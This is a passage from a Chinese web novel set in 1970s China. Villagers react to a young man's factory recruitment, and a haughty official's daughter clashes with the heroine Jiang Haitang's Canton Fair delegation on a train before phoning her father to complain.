可蔡婶子听到这番话,却只以为大队长在哄自己,他们家八辈贫农,连一个城里人都没有,招工这种事,咋可能轮得到他们家? 就算清水沟有招工的机会,也该是大队长家的名额。 她颤抖着嘴唇,半天才挤出一句话:“大队长,您……您没哄我吧?” “哄你干啥?”赵志坚从兜里掏出一张纸条,“喏,这是大柱托我捎回来的,机械厂的地址,让你们有空去看他。大柱说了,暂时不回来,等他啥时候适应了就回家看你和大山。” 到了这时候,蔡婶子才终于相信了。 这时候,牛车跟前已经围过来许多人,听到大柱被招工,一个个羡慕嫉妒又有点酸。 赵大山也在这时候过来了,蔡婶子看到赵大山,立即说:“当家的!当家的!咱儿子出息了!” “大队长,为啥是大柱啊,我家二旺也不错,咋不给招工呢?” “大队长,您做事可要公平,不能厚此薄彼啊,有了好机会,只给大柱,我家大胆子也不错嘞。” “就是,大队里这么多的后生……” “我家平安可比大柱聪明多了,有这种好事也该先让我家平安去啊!” “要是这事儿我说了能算,那我不知道推荐自己家孩子的?”大队长听着这些人的话没好气地怼回去。 他自己还心里酸酸的呢。 “再说了,大柱是上过高中的,你们家的娃呢?小学毕业了没?初中上明白了没?” 围观的人很多,到了晚饭后,几乎大队里所有的人都听到了这个好消息。 赵大山家门口已经围满了人,有来道喜的,有来打听消息的,更多的是来看热闹的。 “大山啊,你家大柱真有出息!”王婶子挎着篮子,里面装着十个鸡蛋,“这点心意给孩子补补身子。” “可不是!”刘小翠挤上前,“大柱从小就机灵,那年把我家缝纫机拆了还能装回去!” 这话引得众人哄笑。 谁不知道当年刘小翠为这事追着大柱打了半个村子?说大柱把他家的缝纫机弄坏了? 赵大山蹲在门槛上,闷头抽着旱烟,脸上的皱纹都舒展开了。 没想到,他赵大山还有这样荣耀的时候呢。 人群外围,几个年轻人凑在一起窃窃私语。 “早知道我也去学点手艺……”栓子懊恼地踢着石子。 “得了吧,你连个板凳都钉不牢。”同伴毫不留情地揭短。 “不过大柱咋突然就命这么好呢?是不是姜海棠帮得忙?” 这话一出,几个小伙子都沉默了。 他们不约而同想起去年李家人要把姜海棠送给二赖子的时候,他们都在冷眼旁观,要是当时大柱在会怎么做? 要是大柱在,肯定会帮着姜海棠…… 第207章 出发之前 “活该人家有出息!”突然,一道苍老且有力的声音直直地传入众人的耳朵里。 众人闻声,纷纷回头,只见赵家老祖拄着一根古朴的树根制作的拐杖,不紧不慢地走了过来。 他的身影虽有些佝偻,可眼神中却透着一股让人不敢直视的威严。 在场的人见状,急忙恭敬地向赵老祖问好。 赵老祖微微点头示意,随后目光落在了赵大山身上,眼里满是掩饰不住的满意。 老赵家这么多的人,还是大山会养孩子,才养出了大柱这么个好孩子。 “赵玉柱那孩子,看见海棠有事都会帮忙,大山媳妇大冬天送海棠去看病,大山上山砍柴,也会帮着海棠砍一点,你们呢?” 赵老祖的声音不大,却像重锤一样,一下一下地敲在众人的心上。 众人听了,有的羞愧地低下了头,有的则面露尴尬之色。 赵老祖这番语重心长的话,就像一场及时雨,浇灭了某些人心里那股酸溜溜的嫉妒之意。 看着众人的心情似乎平复了一些,赵老祖又接着说道:“你们的心思我都知道,只是,赵玉柱也是咱们赵家的娃,是咱们清水沟的娃,他出息了,是我们清水沟的荣耀。” 赵老祖说话的时候,没有称呼大柱的小名,而是用了赵玉柱这个大名,可见,在赵老祖的心里,对大柱的看待是不同的。 话虽然是这么说没错,可大家的心里还是像被什么东西哽住了一样,有些不太舒服。 毕竟,这样的好事突然降临在别人头上,难免会让人心里不平衡。 “不管你们是不是能接受,这都是事实,我希望你们不要因为那些个小心思,让清水沟蒙羞。另外,对海棠,你们应该怎么面对,心里得有个章程。” 赵老祖的目光如炬,扫了一眼那些曾经得罪过姜海棠的人。 原本,海棠受委屈,只是李家的错,现如今李家不在清水沟了,他们和姜海棠就是无冤无仇,偏偏被几个蠢货给连累了。 赵老祖暗自想着,得找个时间商量一下,那几个蠢货要再好好收拾一番才好,免得将来再做出什么损害村子名声的事。 三癞子和狗剩子几个人可不知道,他们又要倒霉了,又要开始那挑粪的苦日子了。 夜深了,喧闹了一天的赵大山家终于安静了下来。 蔡婶子坐在炕上,轻轻摸着那崭新的被褥,这是用姜海棠送的瑕疵布做的。 她突然叹了口气,对一旁的赵大山说道:“当家的,你说……咱要不要给海棠送点啥?咱们这人情欠大了啊!” 他们这样的村子,几十年都不见得能出来一个工人,可现在,他们家大柱却得了这样的好机会。 她虽然是女人,但不是糊涂人,当然知道,这都是姜海棠的功劳,没有姜海棠的提携,这样的好事根本轮不到他们。 赵大山磕了磕烟袋锅,沉思片刻后说道:“送啥?海棠现在日子过得舒服,过两天我们去城里看看大柱,给海棠带点儿咱家的小米、新鲜菜,再把老母鸡杀了带上给海棠补补身体……” 与此同时,知青点里也热闹非凡,大家正在热烈地议论着大柱的事。 “真没想到,大柱能有这造化。”女知青张晓雅一脸感慨,眼神中满是羡慕。 “要我说,姜海棠这人够意思。当初,不知道有多少人说,赵大山家帮着姜海棠是做无用功……”李庆祝推了推鼻梁上的眼镜,也忍不住发出感慨。 话还没说完,外面突然传来一阵喧哗声。 打开门,只见康生芳提着一盏灯笼,灯光在风中摇曳,映照着她略显为难的脸庞。 她的身旁,站着一个哭哭啼啼的姑娘。 “知青同志们,帮个忙……”康生芳一脸为难地说道。 “康婶子,您有什么话只管说。” “这是我侄女小翠,你们都认识,她非在家闹着要学文化,只是,这么大的姑娘了,也不好送去学校……” 康生芳说的时候,都有些不好意思,十七八岁的姑娘了! 众人面面相觑,心里都犯起了嘀咕。 这小翠不是三癞子的堂妹吗? 以前大队里组织的扫盲班,他们家都是不参加的,怎么现在突然想学文化了? 李庆祝突然明白了什么,嘴角微微上扬,意味深长地笑了:“想学文化是好事,康婶子,小翠同志,你们先进来吧。” 送走了康生芳和小翠,张晓雅满脸好奇地问:“你怎么答应他们这样的要求?每天上工就够累了!” “我们的机会来了。”李庆祝神秘兮兮地笑着说,眼睛里闪烁着兴奋的光芒。 “什么机会啊?”另外一名女知青郑秀芳也好奇地凑了过来,急切地问道。 “清水沟没有学校,我估计,有了大柱这个榜样,很多人都会主动学习,说不定,会在大队里办学校,可不就是我们的机会?”李庆祝分析得头头是道。 清水沟大队只有三个知青,如果真的要办学校,老师肯定要从他们中间产生,三个年轻人心里各自盘算开了,都期待着这个难得的机会能够降临到自己头上。 毕竟,要是能当老师,以后就不用去田地里从事繁重的劳动了,当真是天大的好事啊! 第二天清晨,天刚蒙蒙亮,赵志坚就早早地走出了家门。 可眼前的景象却让他一下子惊呆了,院子外面密密麻麻地挤满了人,个个手里都拿着本子,脸上满是期待的神情。 “大队长,我想学开拖拉机!”一个年轻小伙大声喊道,眼神中充满了渴望。 这个小伙子叫王克东,当初公社有个学习开拖拉机的名额,赵志坚想了再三给他了,可王克东说,大队里没有拖拉机,学了没用,拒绝了。 “我想让我家娃娃读书……”一位抱着孩子的妇女也跟着说道,语气中满是焦急。 “扫盲班能不能重新办起来?我们这次一定好好学……”众人你一言我一语,声音此起彼伏。 “昨天晚上,我就把我家几个兔崽子给揍了,上学的时候,不好好学习!”一个大叔满脸懊悔地说道。 赵志坚只觉得脑仁子疼,他皱了皱眉头,板着脸说:“一个个的,现在知道着急了?早些时候,你们都干啥去了?” “你们以为学校是你们想要就能有的?这事儿还要上报公社,等公社同意了,才能办。”赵志坚耐心地解释道。 “大队长,您就去公社里申请一下,我们寻思这是好事,说不定,公社的领导能同意。”众人纷纷劝说着,眼神中满是期待。 “是啊,大队长,我们可就等着您的好消息了。”大家的声音充满了诚意,让赵志坚无法拒绝。 赵志坚心里却乐开了花,他表面上虽然一脸严肃,可内心却十分欣慰。 知道上进就好啊,就怕一个大队的年轻人都不求上进,浑浑噩噩地过日子! 此时的姜海棠,已经做好了充分的准备,即将登上列车前往花城参加广交会。 与去年的秋季广交会相比,这一次,他们纺织厂的准备更加充分,带的样品更多,队伍也更壮大一些,从十个人的队伍,扩大到了二十个人。 而且,他们这一次是和机械厂一起去花城参加广交会,如此一来,浩浩荡荡的好几十个人在车站集合的时候场面十分壮观。 站台上人头攒动,红旗招展,一条“龙省工业代表团参加春季广交会”的横幅在风中猎猎作响,向人们宣告着这次出行的重要性。 站台上,商贸厅的领导正在为参加广交会的同志们送行,他们的脸上满是期待和鼓励。 领导少不得要讲一番鼓励的话,为出行的同志壮行。 姜海棠紧了紧藏蓝色列宁装的领口,将一缕散落的黑发别到耳后。 她站在队伍最前方,身姿挺拔,眼神坚定。 她的身后,韩知秋和康小夏以及女工戴冰兰三个人正在叽叽喳喳地说话,主要是康小夏在说话,她的脸上带着一丝紧张和兴奋,嘴里不停地问着各种问题。 韩知秋则耐心地回答着,她已经参加过广交会,经验丰富,对各种情况都比较了解。 戴冰兰在一旁耐心地听着,时不时也插上一两句,主要是问一些自己不了解的情况。 韩知秋耐心的回答,很快吸引了其他人也凑到了她的身边。 大家都知道,要出发了,多了解情况肯定有好处,所以都竖起耳朵,认真地听着韩知秋的讲解。 “人都到齐了吗?”刚才去给商贸厅领导汇报过工作的赵凯声音洪亮地问。 “赵厂长,咱们纺织厂的人都齐了!机械厂好像还差一个人,等人都齐了,我们就能上车了。”厂办的高干事立即回答。 赵凯严肃地看看大家:“刚才商贸厅的领导说,这一次我们纺织厂的展位比较多,希望我们能创出新高,为国家赚取更多外汇!” 参加广交会的同志们听到赵凯这话,都开始鼓掌,并表示:“我们一定认真完成工作!” 第208章 格格不入的人 大家的声音充满了决心和信心,仿佛已经看到了成功的曙光。 和纺织厂这边有女同志不同,机械厂那边清一色穿着深蓝色工装的男同志。 他们此时正围着几个大木箱忙活,领头的男人约莫四十岁上下,方正的脸庞被春风刮得泛红,正高声指挥着搬运工作。 这个人,姜海棠认识,是机械厂的副厂长郑开河。 “郑厂长!”姜海棠挥手招呼,“需要我们帮忙吗?” 她的声音清脆响亮,充满了热情。 机械厂副厂长郑开河闻声抬头,露出朴实的笑容:“谢谢海棠同志,马上就装完了!咱们按计划,纺织厂的同志先上车安置样品,我们随后就来!” 毛厂长和朱厂长都给他说了,这次去,有悬而未决的事,就找姜海棠商量,还说了,姜海棠虽然在纺织厂坐班,但也是机械厂的人,又是个有见识的,能帮到他。 “郑厂长,人齐了吗?”姜海棠关切地问道。 “还缺一位女同志,是我们的翻译。”郑开河皱了皱眉头,脸上露出一丝焦急。 姜海棠想起来了,机械厂这边确实有一个翻译是女的,好像叫什么颜培文。 这是个出自高干家庭的女同志,平时是有些傲气在身上的,之前姜海棠为两个厂的同志教外语的时候,颜培文表现得十分不耐烦。 上了两节课之后,她说,自己在家就可以学习,不用跟着姜海棠一个乡下来的泥腿子学习。后来,颜培文就再也没有来过课堂。 她倒是真意外,机械厂这一次选了颜培文做翻译。 不过,这是机械厂的事,她过多的干涉也不好,只是到了这会儿都还没来,也太没有时间观念了。 “同志们注意了!”站台上的大喇叭突然响起,清亮的女声在站台响起,“开往**的K245次列车即将进站,请各位旅客准备上车……” 随着一声长鸣,墨绿色的列车缓缓驶入站台,车身在阳光下闪烁着金属的光泽。 姜海棠迅速组织纺织厂的女工们先上车安置样品,这一次,他们专门为广交会准备了十多种新式布料样品,每一种都是工人们熬了无数个夜晚反复试验的成果,凝聚着大家的心血和汗水。 “小心台阶。”她提醒着身后的工友,同时侧身给搬运大型设备的机械厂同志让路。 两个厂子的同志互相礼让,秩序井然地上车,场面温馨而和谐,展现出了良好的团队合作精神。 车厢里很快热闹起来,纺织厂的女工们占据了左侧的座位,她们一边安置样品,一边小声地讨论着这次广交会的计划和期望。 机械厂的同志们则在右侧安顿设备,他们小心翼翼地搬运着设备,确保设备安全无损。 只是,眼看着再有三分钟火车就要开了,颜培文居然还没有上车。 郑开河明显地着急了,他不停地看着手表,又向站台出口张望着,脸上的焦急之色越来越浓。 “颜培文怎么回事,怎么还没到?”郑开河问厂办的工作人员:“给她通知了吗?”他的声音中带着一丝不满和焦急。 厂办的干事小马也很无奈啊,他肯定已经通知到位了,也不知道这位大小姐是不是睡迷糊了,把这件事给忘了! “郑厂长,我明确通知了,车票也已经给颜培文同志了,当时颜培文同志也明确表示自己不会迟到。” 列车马上就要开了,这时候还不来,肯定赶不上了啊。 要是他们这一次没有翻译人员,可怎么办啊! 马干事焦急地想着,这时候,只听见“呜——”的一声,火车汽笛拉响,紧接着,车轮开始缓缓转动。 郑开河黑着的脸真的不能看了,他额头渗出细密的汗珠,手指紧紧攥着车窗边框,指节都泛了白。 这是他第一次带队去参加广交会,上面的领导对此十分重视,怎么能出这样的差错? 没有翻译人员,那就跟哑了聋了一样啊! “郑厂长,别看了,已经发车了。”向文涛低声提醒,“颜培文同志赶不上了。” 他其实也不是很看到颜培文,无奈,颜培文是上面有人的,包括这一次当翻译也是有人安排了的,他们反对不了。 郑开河重重叹了口气,回到自己的座位上坐定。 罢了,没有翻译就没有翻译吧,这一路上和海棠同志好好说说,如果海棠同志能帮帮机械厂,一切还有机会。 因为颜培文这个翻译没有上车,机械厂这边的气氛就要比纺织厂这边沉默许多。 大概过了半个小时,忽然车厢连接处传来一阵骚动。一个穿着米色风衣的年轻女子施施然走来,散开的头发随着步伐轻轻晃动,在朴素的车厢里格外扎眼。 “颜培文同志?”郑开河瞪大了眼睛。 “郑厂长好。”颜培文漫不经心地点点头,红唇微微上扬。 她也就只对着郑开河打了招呼,至于其他同志,像是没看到一样,完美诠释了什么叫做目中无人。 “你什么时候上车的?”火车刚出发半个小时,都没有经停,要是迟到,不应该在车上啊。 “哦,是这样的,郑厂长,我一直在卧铺车厢。”她一点愧疚的意思都没有,轻描淡写地说。 车厢里顿时安静下来,纺织厂的同志们互相交换着眼神,机械厂的男同志们也面露尴尬。 姜海棠注意到颜培文说“卧铺车厢”时那种理所当然的语气,一时都不知道该说什么了。 他们去参加广交会,硬座车厢都是单位统一订的,卧铺车厢就连带队领导都没有资格,就像去年,毛厂长那样大的年龄,也和他们一样,乘坐硬卧去的。 郑开河脸色变了变,最终还是挤出一个笑容:“来了就好,颜同志,这边给你留了位置……” “不用了,郑厂长,我就是过来跟你们打个招呼。”颜培文打断他,手指轻轻掸了掸风衣上并不存在的灰尘,“我在卧铺那边安顿好了,行李都放那儿了。我是真的接受不了这边乌烟瘴气的环境,您知道的,我这个人,对生活的要求有些高!” 说话的时候,颜培文还明显地表露出了对于硬座车厢的嫌弃,那鄙夷都要从脸上溢出来了。 她的视线在看到姜海棠时微微一顿,嘴角勾起一个似笑非笑的弧度:“哟,姜老师也在啊。” 姜海棠平静地点点头:“颜同志好。” 颜培文这句姜老师,姜海棠可不觉得是尊称,上次外语课不欢而散时,颜培文就是用这种语气叫她“姜老师”的,带着明显的嘲讽。 不过,姜海棠没打算和这种脑容量不太够的人多说什么,没得拉低智商。 “我听说这次广交会外商很多,”颜培文拨弄着胸前的珍珠胸针,“希望姜老师的‘实用口语’能派上用场。” 她在“实用“二字上加了重音,眼角甚至流露出意思鄙夷。 “海棠姐教的外语可管用了!……”康小夏听不下去了,立即开口反驳。 “小夏!”姜海棠轻轻摇头制止了她,转而看向颜培文,“颜同志肯定比我们懂得多。郑厂长,既然颜同志来了,咱们是不是把行程再核对一下?“ 郑开河感谢姜海棠给自己递了一个台阶,让自己不这么尴尬,忙连连点头:“对对,颜同志,这是会议日程……” 他忙不迭从公文包里掏出一叠文件。 颜培文却没有接的意思,只是随意瞥了一眼:“我都看过了。对了郑厂长,既然这边也没什么事,那我就先回去了!这边太挤了,空气也不好,要是有什么事,郑厂长可以让人去6号车厢找我。” 说完之后,颜培文扭着腰,在众人各不相同的目光中款款离开! 郑开河的表情顿时变得复杂起来,带着几分尴尬。 他偷瞄了一眼周围的同志,好在大家都没有对他表示同情。 可是,郑开河觉得,自己的尊严被挑衅了,虽然颜培文的父亲在硌委会工作,手握大权,但她不能这样目无领导目无规矩啊! 直到她的身影消失在车厢连接处,凝滞的空气才重新流动起来。 小马干事忍不住小声嘀咕:“摆什么架子嘛,大家都是去工作的……” “小马,算了。”郑开河尴尬的说。 这时候,提起颜培文,只会让人觉得自己这个带队的副厂长无能。 郑开河压下心头的不满,对姜海棠歉意地笑笑:“颜同志她……性格比较直爽。” 姜海棠温和地说:“好在,颜培文同志是翻译,这会儿不和我们在一起也没关系。咱们还是抓紧时间再熟悉一下流程,然后检查样品和设备吧。” 郑开河感激地看了她一眼,也拿出了行程表。 姜海棠看着颜培文离开的方向,有种很不好的感觉:颜培文这个傲慢的翻译肯定会给接下来的行程带来麻烦,得提前做好准备。 “海棠姐,”康小夏凑过来小声说,“那个颜培文明显看不起我们,为什么你还……” 海棠姐可比这个什么颜培文要厉害多了,颜培文有什么理由看不上海棠姐? “小夏,不用为了这种事恼火,我们去广交会是为了展示龙省工业成果,不是为了跟谁置气。”她抬起头,眼神坚定,“不管别人怎么想,我们做好自己的本分就行。” 康小夏似懂非懂地点点头。 而在前方的6号车厢,颜培文正靠在卧铺上,用随身听放着英文磁带。 真是一群土老帽,她有随身听这么好的老师,何必听姜海棠这个土包子的? 第209章 那个官家小姐 火车“况且况且”地行驶在华北平原上,窗外的麦田泛着新绿。 姜海棠正低头在笔记本上梳理这一次去广交会上可能会发生的情况,忽然听到车厢那头传来一阵骚动。 “你瞎了眼吗!“尖锐的女声像生锈的铁钉刮擦玻璃。 姜海棠抬头,只见颜培文正站在过道中央,米色风衣袖口沾染了些许水渍,她那凤仙花汁染过的指甲几乎要戳到老妇人鼻尖。 “敢用热水泼我!”她反手就将大娘搪瓷缸子里的水都泼在大娘的身上。 老妇人瑟缩着后退半步,带着补丁的蓝布衫被泼上了大半缸子的热水,让她显得更加落魄可怜。 她后退的时候,不小心蹭到座椅铁架,怀里的粗布包袱随着颤抖微微起伏。 “对、对不住啊闺女,火车晃了一下……我真的不是故意的!” 老妇人局促地道歉,粗糙的手指绞着包袱皮,指甲缝里还沾着未洗净的泥土。 姜海棠还看到老妇人的身体在微微颤抖。 “闺女,你叫谁闺女呢?谁是你闺女,也不看看自己是什么下等人。我身上的衣服可是从沪城百货大楼特供部买的,够你全家吃一年!弄成这样,你赔得起吗?” 颜培文声音又拔高了几分,引得周围乘客纷纷侧目。 在这个年代,大家都不觉得贫穷有什么见不得人的,颜培文这些话自然引起了其他乘客的不适。 就连机械厂和纺织厂的人也觉得十分不舒服。 姜海棠皱了皱眉,正要起身,郑开河已经快步走了过去。 “颜培文同志,这位大娘不是故意的。来,我这儿有手帕……” “用不着!”颜培文甩开郑开河的手,突然指着老妇人的包袱,“等等!你这包袱里装的什么?怎么有股怪味?” 老妇人慌忙解释:“是、是俺家自产的旱烟叶,带给花城的儿子……” “烟叶?”颜培文夸张地捂住鼻子,“怪不得闻着一股子臭味!列车员呢?这种有味的东西怎么能带上车?” 几个抽旱烟的老汉不乐意了,烟袋锅在鞋底磕得砰砰响,“姑娘,你这话可不中听,这味儿闻着踏实!” 他们的话,却被颜培文的冷笑截断:“踏实?熏得人头疼!要是外商闻到这味儿,还以为咱们国家都是土包子!“ 几个人听她这么说,没有再开口,只是看着她。 “都看什么看?知道我可是代表龙省参加广交会的翻译!这次要见多少外宾吗?衣服沾了这股子穷酸气,丢的可是国家脸面!耽误了给国家赚外汇,你们谁能担待得起?” 周围的人被戴上这样一顶大帽子,哪里还敢说什么。 姜海棠再也坐不住了,她走到老妇人身边,轻轻扶住她发抖的手臂。 “大娘,您回座位吧。”说着接过她的包袱,打算送大娘去自己的位置,“烟叶用油纸包严实就不散味儿了,我正好还有一点油纸,帮您重新包一下。“ 老妇人感激地连连点头。 颜培文却冷笑一声:“哟,姜老师倒是会做人情。不过你那些土布样品跟这烟叶倒挺配,都一股子穷酸气。” 她看不上姜海棠,十分看不上,凭什么一个乡下来的女人,能让所有的人都喜欢? 车厢里安静下来,所有的人都看着颜培文,尤其是纺织厂的人,面色更是十分不好看。 毕竟,颜培文这话,是直接把他们纺织厂的脸面丢在地上踩! 向文涛终于没忍住开口了:“颜同志,你怎么能这么说..……” “我说错了吗?”颜培文环顾四周,声音故意提高,“你们纺织厂那些劳动布、粗呢料,外商早就不稀罕了!现在国际上流行的是化纤面料!看到没,就是我身上这种布料,才显得高级、洋气!” 颜培文说出这一番话的时候,面上的鄙夷丝毫不加掩饰,她是真的看不上纺织厂的那些布料。 甚至,就连机械厂她都看不上,她理想中的生活,应该是去京城或者沪城那样的大城市里,金城这样穷酸的地方,有什么好? 赵凯听到颜培文竟然如此诋毁他们纺织厂,恨不得上前就给她一巴掌,如果他只是一个小干部,他可能真的就这么做了。 但现在不行,他是纺织厂的副厂长,一言一行代表的纺织厂,不能在这种时候冲动。 他只是默默地走到姜海棠的身后站着,表达出自己对姜海棠的支持。 姜海棠不慌不忙地包好烟叶,抬头平静地说:“颜同志可能不了解,我们这次带的混纺呢料加入了30%的涤纶,既保留了羊毛的保暖性,又增强了耐磨度。” “那又怎么样,还不是一股子穷酸的臭味,说不定,就和这个烟叶一样的味道!”颜培文丝毫都没有觉得自己说错了,反而更加得意。 姜海棠不紧不慢地从自己随身的包里拿出一块样品,“要不您闻闻,看有没有烟叶味儿?” 车厢里响起一阵轻笑。 颜培文没想到姜海棠竟然会这样不给自己面子,当即脸色铁青。 她正要发作,一个穿铁路制服的乘警走了过来:“怎么回事?” “这位同志,真是对不起,是我们讨论工作声音大了些,打扰大家了。”姜海棠抢先开口。 她转向颜培文,声音放低,“颜同志,咱们别影响其他乘客休息。” 要是正常人,这时候就该息事宁人了,可颜培文是谁啊?她就不是个正常人。 颜培文一把拍开姜海棠递来的布料样品,崭新的混纺呢料“啪”地掉在地上,沾上了车厢地板上的灰尘。 “少在这儿假惺惺的装好人!”她尖厉的声音刺得人耳膜生疼,“姜海棠,你以为你是谁?一个乡下来的土包子,也配教我做事?” “道歉!”赵凯忍无可忍地呵斥。 可颜培文嚣张惯了,怎么可能会把赵凯放在眼里? 她挑衅地朝着赵凯看了一眼,只给他一个冷哼。 郑开河的脸色也彻底沉了下来。 他弯腰捡起那块样品,轻轻拍去灰尘,双手递还给姜海棠:“姜工,对不起,我代替颜培文同志给您道歉,样品您收好。” 姜海棠忙说:“郑厂长,您不用这样。” 郑开河摇摇头,转向颜培文,声音冷得像块铁。 “颜培文同志,请你立刻向姜工和这位大娘道歉。” “道歉?郑厂长,你让我给姜海棠道歉,你是不想好好的了?” 颜培文像是听到了什么笑话,涂着口红的嘴唇扭曲出一个夸张的弧度。 整个车厢鸦雀无声,连列车员都僵在原地,不敢插话。 赵凯的拳头捏紧又松开,松开又捏紧,姜海棠害怕赵凯冲动之下把人给打了,忙给康小夏使个眼色,让她拉住赵凯。 郑开河的手指微微发抖,但声音异常坚定:“我是这次代表团的负责人,有权维持纪律。颜培文同志,你现在的行为已经严重影响了团队团结,如果继续这样,我只好请你下一站下车,返回金城。” 郑开河的语气决绝,让在场的人都吃了一惊,毕竟,机械厂颜培文这个人,大家都是抱着能不招惹就不招惹的想法。 郑厂长这样不给她面子,还不知道要迎来多少风波。 “你敢!你竟然会为了姜海棠,让我受委屈?你们是什么关系?莫不是她勾搭上你了?”颜培文没想到,郑开河竟然敢这样对自己,当时就破防了。 郑开河差点被气得心梗,他怎么也没想到,高干出身的颜培文竟然是这样的素质,开口就能给别人造黄谣。 这要是传出去,别人还指不定怎么说呢。 姜海棠注意到郑开河的脸色变得煞白,知道这是被气到了,她从心里叹息一声,郑厂长带着这么个人,也是真的不容易。 她知道颜培文的父亲是硌委会的实权人物,一句话就能决定一个副厂长的前途。 郑厂长这个人,挺务实的,姜海棠不希望他因为自己和颜培文起冲突,影响到前途。 “郑厂长……”姜海棠轻声唤道,想给他个台阶下。 但郑开河突然挺直了腰板,他深吸一口气,一个字一个字地说:“颜培文同志,就算是你父亲在这里,我也要说,一个连普通劳动群众都不尊重的人,不配代表龙省参加广交会!” 车厢里响起一阵压抑的惊呼,一个戴眼镜的中年人甚至偷偷竖起了大拇指。 颜培文的脸涨得通红,她猛地抓起桌上的搪瓷缸就要往郑开河身上砸。 姜海棠眼疾手快,一把拦住她的手腕:“颜同志!冷静点!非得让所有人看你笑话?” “放开!”颜培文尖叫着挣扎,“你们这些下等人,知道得罪我是什么下场吗?我爸爸一句话就能让你们全都滚回车间当工人!” 老妇人被颜培文这一番操作吓到了,突然“扑通”一声跪了下来:“闺女,都是俺的错,你别为难他们……” 姜海棠心头一颤,赶紧去扶老人:“大娘,您别这样!” 颜培文趁机挣脱,指着姜海棠的鼻子:“好啊,你们联合起来欺负我是吧?等着瞧!”她转身就往卧铺车厢跑,大概是过于激动,差点儿绊倒。 车厢里一片死寂,过了好一会儿,列车员才小声说:“那个……下一站是商都,要停20分钟……” 郑开河抹了把脸,声音沙哑:“姜工,对不起,连累你们纺织厂了。” 姜海棠摇摇头,扶着老妇人坐下:“郑厂长,您做得对。只是……” 第210章 告状 欲言又止。 “我知道后果。”郑开河苦笑一声,“回去后我这个副厂长怕是当到头了。但有些事,事关原则,不能让步。” 那个戴眼镜的中年人突然开口:“同志,你们是去参加广交会的?” 郑开河点点头。 “我也是要去参加广交会的,刚才那位女同志的行为,我会如实向组委会反映。不会让坚持原则爱护群众的同志受委屈。” “我们准备一下该换车了,不管怎么样,都等这一次广交会结束吧。” 郑开河和姜海棠对视一眼,都从对方眼中看到了希望。 远处传来火车进站的鸣笛,他们就要下车了。 赵凯忙招呼自己家的人准备搬样品。 他们的换乘时间只有两个多小时,商都站的月台上人头攒动,广播里女播音员的声音在嘈杂中时隐时现。 姜海棠和纺织厂的同志们正忙着将样品箱搬上南下的列车。 “小心那个柳条箱!”姜海棠提醒着搬运的工人,“里面是混纺呢料样品,不能受潮。” 康小夏抹了把汗,凑过来小声说:“海棠姐,怎么没看到颜培文那个疯子?” 姜海棠手上动作没停:“别管她,咱们做好自己的事。再有半小时就发车了,再检查一遍样品清单。” 远处,郑开河正和列车员交涉着什么,眉头紧锁。 姜海棠走过去,听见他在说:“……硬座车厢太挤,样品容易受损……” “郑厂长,怎么了?”姜海棠问道。 郑开河转过身,脸色不太好看:“这趟车比预计的拥挤,咱们的样品箱没地方放。” 正说着,那个戴眼镜的中年人走了过来:“两位同志,我刚才和列车长商量了一下,可以给你们腾出半个行李车厢放样品。” 郑开河和姜海棠惊喜地对视一眼,这位能在这样拥挤的车厢里协调到放样品的车厢,不是一般人啊。 郑开河忙说:“太感谢了!您是……” “我姓周,外贸部的工作人员。”中年人笑了笑,“接下来的行程,我们依然在一个车厢。” 听到这人说还在一个车厢,姜海棠和郑开河还有赵凯都没多想,毕竟,坐在硬座车厢的,肯定不是多有地位的人。 火车马上就要启动了,众人还是没有见到颜培文。 实际上,颜培文从下车之后,不知道就去了什么地方,大家都没看到。 郑开河也没问,反正,这个人在他心里,就当不存在就对了。 当汽笛鸣响,列车缓缓启动时,姜海棠终于松了口气,靠在硬座车厢的椅背上闭目养神。 再说颜培文下了火车,快步穿过拥挤的月台朝着这站外走去。 站前广场东侧的红砖小楼顶上,“人民邮电”四个褪色的大字在夕阳下显得格外陈旧。 “同志,打长途。”颜培文将工作证拍在柜台上,指甲在玻璃台面上敲出急促的声响。 柜台后的女营业员慢吞吞地翻开证件,抬眼打量这个衣着光鲜的年轻女子:“介绍信呢?长途电话要登记。” 颜培文不耐烦地从内兜掏出一张盖着红头的信笺:“快点!我有急事!” 营业员瞥见信笺上的单位名称,动作明显快了几分。 她递过登记簿:“填一下号码和事由。” 钢笔尖在纸上狠狠戳出几个墨点。 颜培文写下那个她烂熟于心的号码,在“事由”栏龙飞凤舞地写上“公务汇报”。 “三号间。”营业员指了指走廊尽头漆成军绿色的小木门。 电话间的霉味混着烟味扑面而来。 颜培文嫌弃地拧眉之后,还是砰地关上门。 抓起黑色话筒的瞬间,眼泪已经蓄在眼眶里——这是她从小练就的本事,只要想到父亲严肃的脸,眼泪就能说来就来。 “喂?革委会办公室。”电话那头是个年轻男声,这个声音颜培文也很熟悉,是他父亲的秘书。 “我是颜培文,找我爸!”她声音里的哭腔恰到好处。 转接的等待音像钝刀割着神经。 当那个低沉的男声终于响起时,颜培文的眼泪立刻决了堤:“爸!他们欺负我!” “怎么回事?慢慢说。”颜父的声音带着习惯性的威严。 “郑开河那个王八蛋,为了个乡下女人要赶我下车!”她抽泣着,把火车上的冲突添油加醋说了一遍,自然略去了自己泼水骂人的部分,“那个姜海棠仗着在纺织厂有脸面,根本不把您放在眼里!还有郑开河,说什么就算您在这我也这么说……” 电话那头沉默了几秒:“姜海棠?是不是金城纺织厂那个技术骨干?” “就是个乡下土包子!”颜培文没注意到父亲语气的变化,咬牙切齿地说,“爸,您得给我做主!那个郑开河……” “行了,这事儿我知道了。”颜父打断她,“你现在在哪?” “商都站!换车去花城。”颜培文抹了把眼泪,“爸,您要为我做主,把那个姜海棠给开除了,我不想再看到他,还有郑开河,回去就撤他的职!” 电话那头传来纸张翻动的声音。 颜培文知道,父亲这是在看日程表,每次要给她解决问题时都这样。 “听着,”颜父的声音突然压低,“你现在立刻去找郑开河还有姜海棠道歉。” “什么?!”颜培文差点摔了话筒。 “省里刚接到通知,外贸部周副部长要暗访这次广交会。”颜父一字一顿地说:“这事情如果闹大了,对我都有影响。要处理郑开河和姜海棠,不急在一时,等回到金城,我们有的是机会。” 颜培文虽然不是很满意,但父亲都这么说了,她也没办法,只能讷讷应下。 “爸爸,我答应不闹事,可能不能不道歉……”她为什么要道歉?这是她不能接受的! “糊涂!”颜父厉声喝道,“周副部长最讨厌搞特殊化!你现在马上去挽回影响,要是连累到我……” 这时候,颜培文听到电话那头传来敲门声,颜父迅速转换语气,“好了,按我说的做。记住,别惹事!” 咔嗒! 电话挂断了。 颜培文僵在电话间里,话筒里“嘟……嘟……”的忙音像在嘲笑她。 门外,营业员不耐烦地敲门:“同志,超时了!后面还有人等着呢!” 颜培文机械地掏出五块钱拍在桌上,跌跌撞撞地冲出门去。 